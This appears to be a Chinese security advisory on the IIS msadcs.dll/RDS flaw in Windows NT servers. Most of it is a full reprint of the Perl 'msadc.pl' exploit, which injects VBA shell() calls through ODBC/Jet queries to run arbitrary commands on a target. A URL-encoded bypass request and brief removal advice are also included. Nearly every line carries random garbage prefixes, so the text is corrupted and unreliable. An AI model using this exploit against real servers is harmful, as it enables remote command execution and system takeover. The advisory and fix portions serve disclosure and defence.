IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
:y D@5) 2{};6{yz 涉及程序：
Wf1-" Q Microsoft NT server
-s~p}CQ. '%Dg{ zL 描述：
R6Pz#`n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
bX{ PSjD g
=\13# F 详细：
J~2 CD*v 如果你没有时间读详细内容的话，就删除:
m){ &:Hs c:\Program Files\Common Files\System\Msadc\msadcs.dll
}rxFS
<j 有关的安全问题就没有了。
M=Is9)y ddMM74 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
p;ZDpR f[M"EMy 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ap,q
`S 关于利用ODBC远程漏洞的描述，请参看:
K!b>TICa: D4\(:kF\Hg http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9jjL9f_3 zf")|9j 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\]GGVI ;u http://www.microsoft.com/security/bulletins/MS99-025faq.asp "b;k.Fx Q2R>lzB 这里不再论述。
~p!QSRu~,b s.e y!ew 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^ N_`^m [r~~=b7*[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
RA~_]Hk 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Faw. GU Q
}8C nT Q (JDf #将下面这段保存为txt文件，然后: "perl -x 文件名"
2c*2\93> >,w P! ;dh #!perl
Xa\]ua_ #
?/L1 tX) # MSADC/RDS 'usage' (aka exploit) script
T/3;NXe6E #
ceI
[hM # by rain.forest.puppy
0Cv 4/Ar( #
dW6Q)Rfi # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"p2u+ 8? # beta test and find errors!
KK MW D\ 9 &[\*{ use Socket; use Getopt::Std;
'.xkn{c getopts("e:vd:h:XR", \%args);
ri;r7Y9V9` '4Y*-!9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
|W/Hi^YE2 ~l@%=/m if (!defined $args{h} && !defined $args{R}) {
{.%0@{Y print qq~
/iTH0@Kw; Usage: msadc.pl -h <host> { -d <delay> -X -v }
"URVX1#(r -h <host> = host you want to scan (ip or domain)
yO%VzjJhg -d <seconds> = delay between calls, default 1 second
&A#90xzF -X = dump Index Server path table, if available
D`5:
JR-{ -v = verbose
]n/jJ_[ -e = external dictionary file for step 5
m';|}z' nFSG<#x\ Or a -R will resume a command session
4O9tx_<JG *,_2hvlz ~; exit;}
y& Gw.N}<r A`
oa|k!U $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sV;qpD XX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7YSuB9{M if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]lC 4+{V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<4S F~i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;2 \<M 6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
eq7C]i
rH W>U jUq); if (!defined $args{R}){ $ret = &has_msadc;
">0 /8] l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
jR }*bIzv r UhWZta print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)Ep@$Gv|S . "cmd /c ";
(p'/p $in=<STDIN>; chomp $in;
0!)U *+j, $command="cmd /c " . $in ;
-U&098}<K qrOB_Nz if (defined $args{R}) {&load; exit;}
!k ;[^> ',<{X (#( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P[r}(@0rJ &try_btcustmr;
~p0 e=u E%KC'T N^D print "\nStep 2: Trying to make our own DSN...";
1"N/ZK F-x &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
oTZo[T@zRx hlt9x.e.A print "\nStep 3: Trying known DSNs...";
lb=2*dFJ1 &known_dsn;
BD<rQ mfA^ k{!iDZr&f, print "\nStep 4: Trying known .mdbs...";
$XtV8 &known_mdb;
GXGN;,7EV d ICnB:SSB if (defined $args{e}){
:ga 9Db9P print "\nStep 5: Trying dictionary of DSN names...";
9iiU,}M`j &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
w?*'vF_2:# |v,}%UN 2 print "Sorry Charley...maybe next time?\n";
$v2S;UB v* exit;
99=[>Ck)G yKel|vM# ##############################################################################
xow 6@M, \r)_- sub sendraw { # ripped and modded from whisker
* <Nk%` sleep($delay); # it's a DoS on the server! At least on mine...
ajg7xF{l) my ($pstr)=@_;
|rG8E;> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XL%vO#YT die("Socket problems\n");
sf=%l10Fk# if(connect(S,pack "SnA4x8",2,80,$target)){
.CB "@.7 select(S); $|=1;
f[w jur print $pstr; my @in=<S>;
x `b~ZSNJ% select(STDOUT); close(S);
`Nxo 0Q return @in;
Ej9/_0lt } else { die("Can't connect...\n"); }}
W\ZV0T;<] AiR%MD ##############################################################################
c=uBT K* E0WrpGZ sub make_header { # make the HTTP request
u k>q\j my $msadc=<<EOT
KR+ a Y. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7l4InR] User-Agent: ACTIVEDATA
|~1rKzZwF
Host: $ip
}Etd#"> Content-Length: $clen
aH~ x7N6! Connection: Keep-Alive
= 2GP^vh T% jjs ADCClientVersion:01.06
e% 5'(V-y, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}-k_?2"A 98<bF{#0WM --!ADM!ROX!YOUR!WORLD!
h[M6. Content-Type: application/x-varg
AOq9v~)z- Content-Length: $reqlen
3:z4M9f ZKiL-^dob EOT
N69eI d l ; $msadc=~s/\n/\r\n/g;
!rN#PF> return $msadc;}
`t/@ L: pEqr0Qwh ##############################################################################
'=@H2T6= !nqm ;9 6 sub make_req { # make the RDS request
Gh chfI. my ($switch, $p1, $p2)=@_;
D| 8sjp4 my $req=""; my $t1, $t2, $query, $dsn;
8z3I~yL_`+ -X6\[I:+A if ($switch==1){ # this is the btcustmr.mdb query
A$$R_3ne $query="Select * from Customers where City=" . make_shell();
R LeSA\di $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%<bG %V( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T5X'D(\| hc31+TL elsif ($switch==2){ # this is general make table query
P*nT\B $query="create table AZZ (B int, C varchar(10))";
s|rZ>S LL $dsn="$p1";}
Z1qATX Xf 0Y TtA]|`4 elsif ($switch==3){ # this is general exploit table query
Oujl m| $query="select * from AZZ where C=" . make_shell();
f"OA Zji $dsn="$p1";}
hIg, 0B E?;T:7.% elsif ($switch==4){ # attempt to hork file info from index server
_sCJ 3ZJ $query="select path from scope()";
Wtzj;GJj $dsn="Provider=MSIDXS;";}
Xk$l-Zfse g}s-v?+ elsif ($switch==5){ # bad query
IJb1)
ZuR $query="select";
g) | ++? $dsn="$p1";}
3
MI ) E
EY[Q% $t1= make_unicode($query);
~*Sbn~U $t2= make_unicode($dsn);
dOYm t, $req = "\x02\x00\x03\x00";
2 |kH% $req.= "\x08\x00" . pack ("S1", length($t1));
D RF uvU+e $req.= "\x00\x00" . $t1 ;
7T(OV<q;# $req.= "\x08\x00" . pack ("S1", length($t2));
O'yj B$j $req.= "\x00\x00" . $t2 ;
")[Q4H ;V $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;JD3tM< return $req;}
{ "@b` r &l*.C* ##############################################################################
`__?7"p
)\ E?c{02f u sub make_shell { # this makes the shell() statement
^: rNoo return "'|shell(\"$command\")|'";}
GJl@ag5h]! +8@`lDnr ##############################################################################
O%Gsk'mo lXL7q?,9 sub make_unicode { # quick little function to convert to unicode
uJ!s%s2g my ($in)=@_; my $out;
G:6$P%. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
K
{1ZaEH return $out;}
Lw+1| ws=9u- ##############################################################################
GVHfN5bTqn +68K[s,FD sub rdo_success { # checks for RDO return success (this is kludge)
4\eX=~C>: my (@in) = @_; my $base=content_start(@in);
{J6sM$aj if($in[$base]=~/multipart\/mixed/){
6/WK((Fd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
K1wN9D{t' return 0;}
pGcx
jm re 1k] ##############################################################################
g: 3'x/a1 bCx1g/
sub make_dsn { # this makes a DSN for us
:`"T Eif my @drives=("c","d","e","f");
6x zR*~ 7 print "\nMaking DSN: ";
K7R])*B.~ foreach $drive (@drives) {
3K 20f8g print "$drive: ";
w)y9!li my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
SAo \H "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
I3rnCd( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
I~5fz4Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
O[ (HE 8E return 0 if $2 eq "404"; # not found/doesn't exist
/5'<w( if($2 eq "200") {
vaCdfO& foreach $line (@results) {
x_iy;\s1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
cZX&itVc: } return 0;}
bZlLiv i sq (063l ##############################################################################
en#g<on )PoI~km sub verify_exists {
Y 1ilH-8 my ($page)=@_;
S%gO6&^ my @results=sendraw("GET $page HTTP/1.0\n\n");
OFL +Q~~C return $results[0];}
j6 d"8oH
_ byj mH ##############################################################################
V-U
^O45 lX k-86[M sub try_btcustmr {
gwB> oi*OE my @drives=("c","d","e","f");
a:%5.!Vd my @dirs=("winnt","winnt35","winnt351","win","windows");
hv8[_p`> {hq ;7 foreach $dir (@dirs) {
ci NTYow print "$dir -> "; # fun status so you can see progress
j[Zni D foreach $drive (@drives) {
xW;[}t-QS print "$drive: "; # ditto
G~hILW^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
o / [yA3^ $reqlenlen=length( "$reqlen" );
wj5s5dH $clen= 206 + $reqlenlen + $reqlen;
T]Td4T! LY cSMu J my @results=sendraw(make_header() . make_req(1,$drive,$dir));
64?$TT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
|ij5c@~& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Oi&w_
Z0 Cy> +j{%! ##############################################################################
<UHWy&+z & |b @A:8ss sub odbc_error {
B+[Q $Q" my (@in)=@_; my $base;
>sS:x,- my $base = content_start(@in);
l
\n:" *To if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7<'i #E~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:-@P3F[0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d*:qFq_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/ZN5WK return $in[$base+4].$in[$base+5].$in[$base+6];}
AdS_-Cm print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ieLN;)Iy^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
c&?H8G)x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
)"3oe ? E=~WQ13Q ##############################################################################
4k?JxA) >s?;2T2"yx sub verbose {
1Kf
t?g my ($in)=@_;
_ ,1kcD u return if !$verbose;
k<";t print STDOUT "\n$in\n";}
*rKv`nva5 x<7` 109] ##############################################################################
U*U )l$! y\|\9Q%D sub save {
Gz5@1CF my ($p1, $p2, $p3, $p4)=@_;
RIqxM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
v6Wf7)d/1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
V R P.t D close OUT;}
[gr[0aG Bc UT7lj wT ##############################################################################
sW 3D
(
n N$\ 5% sub load {
Kf<_A{s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>@e %,z open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;|1P1H-W~M @p=<IN>; close(IN);
r_Yl/WW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`a-T95IFy $target= inet_aton($ip) || die("inet_aton problems");
~e~Mx=FT0 print "Resuming to $ip ...";
z :jF) N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
WY~[tBi\ if($p[1]==1) {
1L
qJ@v0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
P2RL\`<" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&_9e g my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
'eY[?LJ]U if (rdo_success(@results)){print "Success!\n";}
4n )Mx*{ else { print "failed\n"; verbose(odbc_error(@results));}}
\ iSBLU elsif ($p[1]==3){
#l%
\}OC if(run_query("$p[3]")){
ouZ9oy(}a print "Success!\n";} else { print "failed\n"; }}
v86`\K*0Y elsif ($p[1]==4){
x&b-Na 3Xi if(run_query($drvst . "$p[3]")){
c0p=/*s( print "Success!\n"; } else { print "failed\n"; }}
Z'm%3 exit;}
?\ VN`8Yb ^S2} 0N f ##############################################################################
ew ['9 1vudT& sub create_table {
MdjMTe s my ($in)=@_;
FdHWF|D $reqlen=length( make_req(2,$in,"") ) - 28;
_u5U> w $reqlenlen=length( "$reqlen" );
F >R)~;Ja $clen= 206 + $reqlenlen + $reqlen;
+N&(lj my @results=sendraw(make_header() . make_req(2,$in,""));
:!FwF65 return 1 if rdo_success(@results);
Fpwh.R:yV my $temp= odbc_error(@results); verbose($temp);
S $/3K q return 1 if $temp=~/Table 'AZZ' already exists/;
t^;Fq{> return 0;}
T=Q{K|JE $oj<yH<i ##############################################################################
O~]G(TMs8W L(S. sub known_dsn {
^P`'qfZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=B %e0M my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
p}X87Zq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
- $/{V&?t "banner", "banners", "ads", "ADCDemo", "ADCTest");
!Shh$iz "g[UX{L foreach $dSn (@dsns) {
_I5+o\;1 print ".";
xF+x I6 next if (!is_access("DSN=$dSn"));
rWmi ' niu if(create_table("DSN=$dSn")){
M _I\:Q print "$dSn successful\n";
K%Ml2V
if(run_query("DSN=$dSn")){
Vp4] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sw bD q print "Something's borked. Use verbose next time\n";}}} print "\n";}
UbH=W(% $ayD55W4 ##############################################################################
D8XXm lo W4a20KM2 sub is_access {
9oz)E>K4f my ($in)=@_;
sg\ jC# $reqlen=length( make_req(5,$in,"") ) - 28;
n K=V` $reqlenlen=length( "$reqlen" );
8#B;nyGD1I $clen= 206 + $reqlenlen + $reqlen;
H@2+wr)$} my @results=sendraw(make_header() . make_req(5,$in,""));
+-V?3fQ my $temp= odbc_error(@results);
?& _\$L[ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#JM*QVzv return 0;}
a a]v 7d Jp iKZG@L ##############################################################################
U++UG5 c Pw.+DA sub run_query {
Mpx.n]O. my ($in)=@_;
xoaQ5u $reqlen=length( make_req(3,$in,"") ) - 28;
JwcP[w2 $reqlenlen=length( "$reqlen" );
]0E- lD0J $clen= 206 + $reqlenlen + $reqlen;
T+hW9pa) my @results=sendraw(make_header() . make_req(3,$in,""));
7X>3W F return 1 if rdo_success(@results);
SBt:
`, my $temp= odbc_error(@results); verbose($temp);
inrL'z return 0;}
%)V3QnBO 0l*/_;wo ##############################################################################
MLX. MUS +M:Q !' sub known_mdb {
|05LHwb> my @drives=("c","d","e","f","g");
@DR&e^Zz my @dirs=("winnt","winnt35","winnt351","win","windows");
%Kp}Wo6 my $dir, $drive, $mdb;
(FHh,y~v my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)cXc"aj@s
!^\/
1^ # this is sparse, because I don't know of many
krU2S- my @sysmdbs=( "\\catroot\\icatalog.mdb",
eyV904< F "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
.jw)e!<\N "\\system32\\certmdb.mdb",
=Y0m;-1M "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
VV Y\W! +a;j>hh my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
i|Wn*~yFOO "\\cfusion\\cfapps\\forums\\forums_.mdb",
4F ?1,-X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Fjb[Ev "\\cfusion\\cfapps\\security\\realm_.mdb",
d-a F- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
hRu%> =7 "\\cfusion\\database\\cfexamples.mdb",
L_|Y_=r." "\\cfusion\\database\\cfsnippets.mdb",
@hPbD?)M "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Ja1*a,],L "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
XMdYted "\\cfusion\\brighttiger\\database\\cleam.mdb",
6D<A@DR9J "\\cfusion\\database\\smpolicy.mdb",
!$HW UxM;p "\\cfusion\\database\cypress.mdb",
0M p>X "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]gZjV "\\website\\cgi-win\\dbsample.mdb",
D![Twll l "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
G$b4`w t "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
G <q@K- ); #these are just
cjk5><}`H7 foreach $drive (@drives) {
zO,sq%vQn' foreach $dir (@dirs){
/^"TMm foreach $mdb (@sysmdbs) {
hAdEq$ print ".";
* RO ~%g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
[A47O R print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
sh 1fz 6g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
gMbvH lT print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z[VKB3Pb8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
E7D
DMU -~g3?!+Hb foreach $drive (@drives) {
Y u=^ `I foreach $mdb (@mdbs) {
{ig@Iy~DT print ".";
ia[w Vxd if(create_table($drv . $drive . $dir . $mdb)){
I~I%z'"RQd print "\n" . $drive . $dir . $mdb . " successful\n";
F
7=-k/k if(run_query($drv . $drive . $dir . $mdb)){
-uZ^UG!K print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
~+F: QrXcI } else { print "Something's borked. Use verbose next time\n"; }}}}
{mDaK&]Oh }
+ Muyp]_ ;&!l2 UB% ##############################################################################
=@'"\
"Nh G+}LLm.wX sub hork_idx {
}|d:(* print "\nAttempting to dump Index Server tables...\n";
v|xlI4 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tkmW\ $reqlen=length( make_req(4,"","") ) - 28;
)Jc>l;G(M $reqlenlen=length( "$reqlen" );
C+Z"0\{o $clen= 206 + $reqlenlen + $reqlen;
Smp+}-3O my @results=sendraw2(make_header() . make_req(4,"",""));
a5iMCmL+ if (rdo_success(@results)){
SV~xNzo~ my $max=@results; my $c; my %d;
y-U(`{[nM for($c=19; $c<$max; $c++){
#3S/TBy, $results[$c]=~s/\x00//g;
DCm;dh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z7v~;JzC# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}y1M0^ M-$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'coqm8V[% $d{"$1$2"}="";}
yQ}~ aA#h foreach $c (keys %d){ print "$c\n"; }
&P;x<7h$t? } else {print "Index server doesn't seem to be installed.\n"; }}
=Y BJ7.Y I6\3wU~). ##############################################################################
[q z6_WOo aj\'qRrU$ sub dsn_dict {
` C1LR ,J open(IN, "<$args{e}") || die("Can't open external dictionary\n");
(R, eWWF8~ while(<IN>){
?OSd8E+itM $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]1K
&U5p next if (!is_access("DSN=$dSn"));
}fA3{ Ro if(create_table("DSN=$dSn")){
CY:pYke= print "$dSn successful\n";
Z#Fw 1 if(run_query("DSN=$dSn")){
/c7j@=0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bMZ0%(q print "Something's borked. Use verbose next time\n";}}}
OjHBzrK print "\n"; close(IN);}
!\m.&lk'^ d 09GD[5 ##############################################################################
dx~Wm1 Kk,->q<1 sub sendraw2 { # ripped and modded from whisker
9T]]T Ev4 sleep($delay); # it's a DoS on the server! At least on mine...
\S9z.!7v$ my ($pstr)=@_;
#O~Y[''C5X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Bw$-*FYE die("Socket problems\n");
JsC0^A;fM if(connect(S,pack "SnA4x8",2,80,$target)){
*,. {Xf print "Connected. Getting data";
4Vs ;Y&t] open(OUT,">raw.out"); my @in;
y |aWUX/a select(S); $|=1; print $pstr;
yD K X, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L=$P close(OUT); select(STDOUT); close(S); return @in;
B}Qo8i7
z } else { die("Can't connect...\n"); }}
0K!9MDT}* yP-Dj
, ##############################################################################
>eXNw}_j
|LQmdgVr$ sub content_start { # this will take in the server headers
9. R _= my (@in)=@_; my $c;
`>*P(yIN for ($c=1;$c<500;$c++) {
M_e! s}F if($in[$c] =~/^\x0d\x0a/){
ck}y-,>,[O if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b9U 2afd else { return $c+1; }}}
ql4T@r3l}3 return -1;} # it should never get here actually
c*h5lM'n6 ,kP{3.#Q ##############################################################################
^\!^#rO 6?~pWZ&k_ sub funky {
o] n Qo?! my (@in)=@_; my $error=odbc_error(@in);
C{Fo^-3 if($error=~/ADO could not find the specified provider/){
qUo(h bp print "\nServer returned an ADO miscofiguration message\nAborting.\n";
A;g[G >J exit;}
pSAXp# g if($error=~/A Handler is required/){
>8VJ!Kg4 print "\nServer has custom handler filters (they most likely are patched)\n";
Ua:EI!` exit;}
t! ~mbx+ if($error=~/specified Handler has denied Access/){
LKm 5U6 print "\nServer has custom handler filters (they most likely are patched)\n";
BP7_o63/G exit;}}
ka5>9E X[|>r@Aa! ##############################################################################
>3OD qRu >hXUq9;: sub has_msadc {
N&n{R8=^" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ILQ g@J l my $base=content_start(@results);
n"pADTaB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
us]ah~U6A return 0;}
xj}N;FWo aCMcu\rd ########################
$lv
g.u [AU1JO`\" M: x8]TA 解决方案：
[;2v[&Po 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
u66w('2 2、移除web 目录: /msadc
